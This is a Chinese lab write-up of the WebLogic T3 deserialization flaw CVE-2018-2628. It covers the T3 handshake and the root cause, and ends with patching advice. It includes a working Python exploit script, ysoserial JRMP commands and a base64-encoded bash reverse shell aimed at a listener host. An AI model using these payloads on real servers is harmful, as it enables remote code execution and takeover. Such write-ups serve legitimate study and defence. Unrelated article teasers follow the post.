WebLogic T3反序列化漏洞(CVE-2018-2628)--vulhub

WebLogic T3反序列化漏洞(CVE-2018-2628)

WebLogic在通信过程中使用T3协议传输数据,涉及到了序列化和反序列化操作。

T3协议概述

T3协议是Oracle的私有协议,所以公开的相关资料比较少,这里结合其他师傅的博客简单对T3协议进行一个简要分析。

T3协议是WebLogic的一种专有通信协议,在Weblogic中的RMI通信是使用T3协议实现的(一般的RMI通信使用的是JRMP协议)。

在T3协议中协议协商的协商阶段,会发送一个请求包头(handshake)用来表明这是一个T3协议,它负责定义数据包的基本结构和传输协议的版本信息。

客户端会首先发送下面的信息给weblogic服务器:

t3 12.2.3
AS:255
HL:19
nMS:10000000

模拟发包

使用python模拟发包,使用wireshark抓包nat网卡查看

import sockethandshake = "t3 12.2.3
AS:255
HL:19
MS:10000000"
ip = "192.168.88.150"
port = 7001sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)

在这里插入图片描述

服务器收到消息后,会回复类似的信息

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

响应包头中HELO后面的内容是被连接的weblogic的版本号12.2.1.3。通信双方根据对方发来的协议协商信息,开始建立连接。

再协商完毕上面的信息后,客户端会向服务端发送自己的详细信息,这是一段二进制数据。在这段二进制流的前4bytes标识了本次请求的数据长度,然后直到遇到aced 0005序列化数据的标识之前,这部分内容被称为PeerInfo。

以这个PoC脚本( https://www.exploit-db.com/exploits/44553 )请求数据包为例:

在这里插入图片描述

aced 0005之后的就是实际传输的序列化数据。

T3反序列漏洞分析

前面提到WebLogic的RMI是通过T3协议实现的,在T3协议的传输过程中同样会进行序列化和反序列化的操作,所以说T3的反序列漏洞和RMI的反序列漏洞的原理几乎是一致的。

大部分的WebLogic的利用脚本都是使用python编写的,比如上面提到的那个PoC脚本。基本的思路都是替换WebLogic T3协议流中aced 0005部分为恶意的序列化数据来实现反序列化攻击。其实也就就是把ysoserial生成的Payload变成T3协议里的数据格式。

除了由 Exploit Database 提供的利用脚本,还有国内其他师傅写的脚本:

import socket
import sys
import struct
import re
import subprocess
import binasciidef get_payload1(gadget, command):JAR_FILE = './ysoserial.jar'popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)return popen.stdout.read()def get_payload2(path):with open(path, "rb") as f:return f.read()def exp(host, port, payload):sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((host, port))handshake = "t3 12.2.3
AS:255
HL:19
MS:10000000".encode()sock.sendall(handshake)data = sock.recv(1024)pattern = re.compile(r"HELO:(.*).false")version = re.findall(pattern, data.decode())if len(version) == 0:print("Not Weblogic")returnprint("Weblogic {}".format(version[0]))data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志payload = data_len + t3header + flag + payloadpayload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度sock.send(payload)if __name__ == "__main__":host = "192.168.1.40"port = 7001gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21command = "touch /tmp/CVE-2015-4852"payload = get_payload1(gadget, command)exp(host, port, payload)

原理都是一样的,把生成的Payload替换掉原来的序列化的部分,但要保证T3协议格式仍然正确。

造成反序列漏洞的原因一般都是readObject方法在进行反序列化操作出现了问题,T3协议的反序列漏洞也不例外。T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。

借一张其他师傅博客的图:

在这里插入图片描述

中间的调用过程先不谈,导致的漏洞产生的直接原因就是在resolveClass方法中也没做任何的校验。

这个resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。resolveClass没有任何校验的话,就意味着它会获取任意的类的Class对象,这就有了可乘之机,可以轻易获取我们恶意的类的Class对象,从而造成反序列漏洞。

T3协议的利用最早可以追溯到2015的CVE-2015-4582,漏洞存在于Commons-Collections这个库的CC链1的利用。到后来的CVE-2016-0638和CVE-2016-3510都也很类似。

到17年之后的漏洞开始通过构造JRMP服务器监听的方法反向触发,比如第一个CVE-2017-3248,到后来的CVE-2018-2628它对上一个的绕过,之后还有CVE-2020-2555,CVE-2020-2883等漏洞。

漏洞复现

影响版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

没有web页面
使用nmap探测weblogic的T3协议是否启用,以及版本号
开启的即可

nmap -sV 192.168.200.142 -p 7001 --script weblogic-t3-info

在这里插入图片描述

1.python

使用python脚本自动化执行命令,改个IP即可使用
输入命令

在这里插入图片描述

成功写入,在tmp目录下成功创建文件

在这里插入图片描述

2.ysoserial

开启JRMP服务监听,选择CC1链。

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"

利用漏洞exp(前面提到的poc),向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.200.142 7001 ysoserial-all.jar 192.168.50.8 2333 JRMPClient

exp执行完成后,靶机回连本地JRMP服务,JRMP服务端收到请求:

在这里插入图片描述

成功写入

在这里插入图片描述

反弹shell

1.python自动执行的脚本
更改command即可,kali开启监听

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}

base64编码是反弹shell命令:bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

成功获取反弹shell

在这里插入图片描述

2.ysoserial

本地开启JRMP监听,监听本地2333端口,利用链依然使用CC1链:

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}"

在这里插入图片描述

使用exp,向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.200.142 7001 ysoserial-all.jar 192.168.50.8 2333 JRMPClient

在这里插入图片描述

成功获取shell

在这里插入图片描述

修复措施

关闭T3服务:如果Weblogic控制台端口(默认为7001端口)开放,T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该漏洞。

更新补丁:应用Oracle官方发布的最新补丁,并升级JDK至1.7.0.21以上版本。

更改代码:如果无法应用补丁或更新JDK,可以考虑更改代码,例如在黑名单中添加特定的类名,以阻断漏洞利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/64935.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenFeign快速入门 示例:黑马商城

使用起因 之前我们利用了Nacos实现了服务的治理,利用RestTemplate实现了服务的远程调用。这样一来购物车虽然通过远程调用实现了调用商品服务的方法,但是远程调用的代码太复杂了: 解决方法 并且这种调用方式比较复杂,一会儿远程调用,一会儿本地调用。 因…

计算机的错误计算(一百九十)

摘要 用两个大模型计算cot(1.234). 其中,1.234是以弧度为单位的角度。结果保留10位有效数字。实验表明,两个的计算公式虽然不同,但是都是正确的。然而,数值计算则是有问题的---包括每一个中间运算与结果。 例1. 计算cot(1.234)…

【QSS样式表 - ⑥】:QPushButton控件样式

文章目录 QPushBUtton控件样式QSS示例 QPushBUtton控件样式 常用子控件 常用伪状态 QSS示例 代码: QPushButton {background-color: #99B5D1;color: white;font-weigth: bold;border-radius: 20px; }QPushButton:hover {background-color: red; }QPushButton:p…

深度学习与图像处理(国产深度学习框架——飞桨官方指定教材)

计算机视觉从小白到大师之路 《深度学习与图像处理(PaddlePaddle版)》这一本就够了 1.引言 随着人工智能技术的飞速发展,各行各业对深度学习、图像处理相关领域的人才需求日益迫切。本书旨在通过系统的理论讲解与丰富的实战案例&#xff0…

HCIA-Access V2.5_6_3_GPON关键技术

GPON关键技术 GPON关键技术包含三个,测距,DBA,下行AES加密。 为什么需要测距 由于每一个ONU到OLT的距离是不一样的,虽然上行有TDMA技术,让每一个ONU在不同的时间段发送数据,但是可能由于距离的原因&#x…

v3s点RGB屏 40pin 800x480,不一样的点屏,不通过chosen。

一、背景、目的、简介。 一般来说,通过uboot将屏幕参数传给kernel,是通过修改设备树。 uboot和kernel都需要屏幕点亮。uboot侧重于显示一张图片。而kernel则多是动画。 在这里,我先是找到了一个裸机点屏的代码。将其编译成静态库后&#x…

电脑丢失bcrypt.dll文件是什么原因?找不到bcrypt.dll文件修复办法来啦!

电脑运行时常见问题及解决方案:文件丢失、文件损坏与系统报错 作为一名软件开发从业者,深知电脑在日常使用中难免会遇到各种问题,如文件丢失、文件损坏和系统报错等。这些问题不仅影响工作效率,还可能带来数据丢失的风险。今天&a…

【自动驾驶】3 激光雷达③

5 激光雷达点云检测模型 🦋🦋🦋CenterPoint是Anchor‐Free的3D物体检测器,以点云作为输入,将三维物体在Bird‐View下的中心点作为关键点,基于关键点检测的方式回归物体的尺寸、方向和速度。相比于Anchor‐…

自动化测试框架playwright 常见问题和解决方案

自动化课程已经讲完了playwright框架,很多同学跃跃欲试,所谓实践出真知,这不在实践中就要到了一些问题,小编也给大家整理出来了,送个有需要的同学,记得点赞收藏哦~~ 01安装问题 问题描述: 在安…

Windows10 下通过 Visual Studio2022 编译 openssl 3.4 + POCO 1.14.1

Windows10 下通过 Visual Studio2022 编译 POCO库 1 POCO库简介2 环境准备2.1 VS Studio 2022 安装2.2 openssl 安装3 编译 POCO 1.14.13.1 下载源码3.2 修改编译配置3.2.1 修改 poco\Crypto 工程 引用 openssl 的配置3.2.2 修改 poco\NetSSL_OpenSSL 工程 引用 openssl 的配置…

厉害了多模态对齐!新思路直接发高区!小红书、国科大都在抢着发!

多模态是个非常热门的话题,这其中,“多模态对齐”已经被验证非常重要,它能够提升AI模型的跨模态理解和情感分析精度,是未来多模态大模型商业化的必要条件,研究热度不言而喻。 就说最近的大佬团队,小红书前…

ubuntu20.04安装imwheel实现鼠标滚轮调速

ubuntu20.04安装imwheel实现鼠标滚轮调速 Ubuntu 系统自带的设置中仅具备调节鼠标速度的功能,而无调节鼠标滚轮速度的功能。其默认的鼠标滚轮速度较为缓慢,在查看文档时影响尚可接受,但在快速浏览网页时,滚轮速度过慢会给用户带来…

MacOS安装MySQL

官网下载MySQL 苹果芯片选择ARM版本 安装过程中会要求你输入root的密码(不少于8位),这里设置为12345678 打开系统设置查看是否成功安装MySQL 配置MySQL环境变量 vi ~/.zshrc加入一行export PATH$PATH:/usr/local/mysql/bin 执行source ~/…

dolphinscheduler服务注册中心源码解析(三)RPC提供者服务整合注册中心注册服务实现源码

RPC提供者服务整合注册中心注册服务实现源码 1.概述2.源码解读思路3.实现2.1.应用服务的RPC服务接口定义2.1.1.MasterServer应用中提供的RPC接口服务2.1.2.WorkerServer应用中提供的RPC接口服务2.2.应用服务的RPC服务接口实现2.2.1.MasterServer应用中提供的RPC接口服务实现类2…

Leetcode Hot 100 【二叉树】104. 二叉树的最大深度

104. 二叉树的最大深度 已解答 简单 相关标签 相关企业 给定一个二叉树 root ,返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:3…

WebDAV文件共享:将个人电脑变身为云存储,实现自由文件传输

WebDAV文件共享:将个人电脑变身为云存储,实现自由文件传输 引言:操作步骤搭建安装Internet Information Services (IIS) 管理器配置Internet Information Services (IIS) 管理器配置远程域名访问地址 引言: 相信很多朋友都有过把…

MySQL的分析查询语句

【图书推荐】《MySQL 9从入门到性能优化(视频教学版)》-CSDN博客 《MySQL 9从入门到性能优化(视频教学版)(数据库技术丛书)》(王英英)【摘要 书评 试读】- 京东图书 (jd.com) MySQL9数据库技术_夏天又到了…

前端开发 之 12个鼠标交互特效上【附完整源码】

前端开发 之 12个鼠标交互特效上【附完整源码】 文章目录 前端开发 之 12个鼠标交互特效上【附完整源码】一:彩色空心爱心滑动特效1.效果展示2.HTML完整代码 二:彩色实心爱心滑动特效1.效果展示2.HTML完整代码 三:粒子连结特效1.效果展示2.HT…

深度学习之超分辨率算法——SRGAN

更新版本 实现了生成对抗网络在超分辨率上的使用 更新了损失函数,增加先验函数 SRresnet实现 import torch import torchvision from torch import nnclass ConvBlock(nn.Module):def __init__(self, kernel_size3, stride1, n_inchannels64):super(ConvBlock…

路由器做WPAD、VPN、透明代理中之间一个

本文章将采用家中TP-Link路由器 路由器进行配置DNS DNS理解知识本文DNS描述参考:网络安全基础知识&中间件简单介绍_计算机网络中间件-CSDN博客 TP LINK未知的错误,错误编号:-22025 TP-LINK 认证界面地址:https://realnam…